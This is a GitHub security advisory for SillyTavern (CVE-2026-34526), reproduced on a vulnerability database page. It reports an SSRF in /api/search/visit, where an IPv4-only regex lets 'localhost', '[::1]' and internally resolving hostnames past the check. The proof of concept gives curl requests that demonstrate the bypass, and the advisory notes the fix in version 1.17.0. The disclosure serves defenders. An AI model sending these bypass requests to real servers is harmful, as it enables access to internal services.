GHSA-WM7J-M6JM-8797

Vulnerability from github – Published: 2026-04-01 21:42 – Updated: 2026-04-01 21:42
VLAI?
Summary
SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6
Details

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: - localhost (hostname, not dotted-quad) - [::1] (IPv6 loopback) - DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

  1. Start SillyTavern v1.16.0 normally
  2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Impact

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:42:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Details\nDistinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.\n\nIn `src/endpoints/search.js` line 419, the hostname is checked against `/^\\d+\\.\\d+\\.\\d+\\.\\d+$/`. This only matches literal dotted-quad IPv4 (e.g. `127.0.0.1`, `10.0.0.1`). It does not catch:\n- `localhost` (hostname, not dotted-quad)\n- `[::1]` (IPv6 loopback)\n- DNS names resolving to internal addresses (e.g. `localtest.me` -\u003e 127.0.0.1)\n\nA separate port check (`urlObj.port !== \u0027\u0027`) limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.\n\n### PoC\n1. Start SillyTavern v1.16.0 normally\n2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):\n```bash\n# Blocked \u2014 dotted-quad matched by regex\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://127.0.0.1/\", \"html\": true}\u0027\n# Returns: 400 (blocked)\n\n# Bypassed \u2014 \"localhost\" is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://localhost/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)\n\n# Bypassed \u2014 IPv6 loopback is not dotted-quad\ncurl -s -o /dev/null -w \"%{http_code}\" -X POST http://127.0.0.1:8000/api/search/visit \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://[::1]/\", \"html\": true}\u0027\n# Returns: 500 (passed validation, fetch attempted)\n```\n\nThe 400 vs 500 difference confirms `localhost` and `[::1]` pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.\n\n### Impact\nServer-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.\n\n## Resolution\n\nThe issue was addressed in version 1.17.0 by improving IPv6 address validation",
  "id": "GHSA-wm7j-m6jm-8797",
  "modified": "2026-04-01T21:42:24Z",
  "published": "2026-04-01T21:42:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-wm7j-m6jm-8797"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…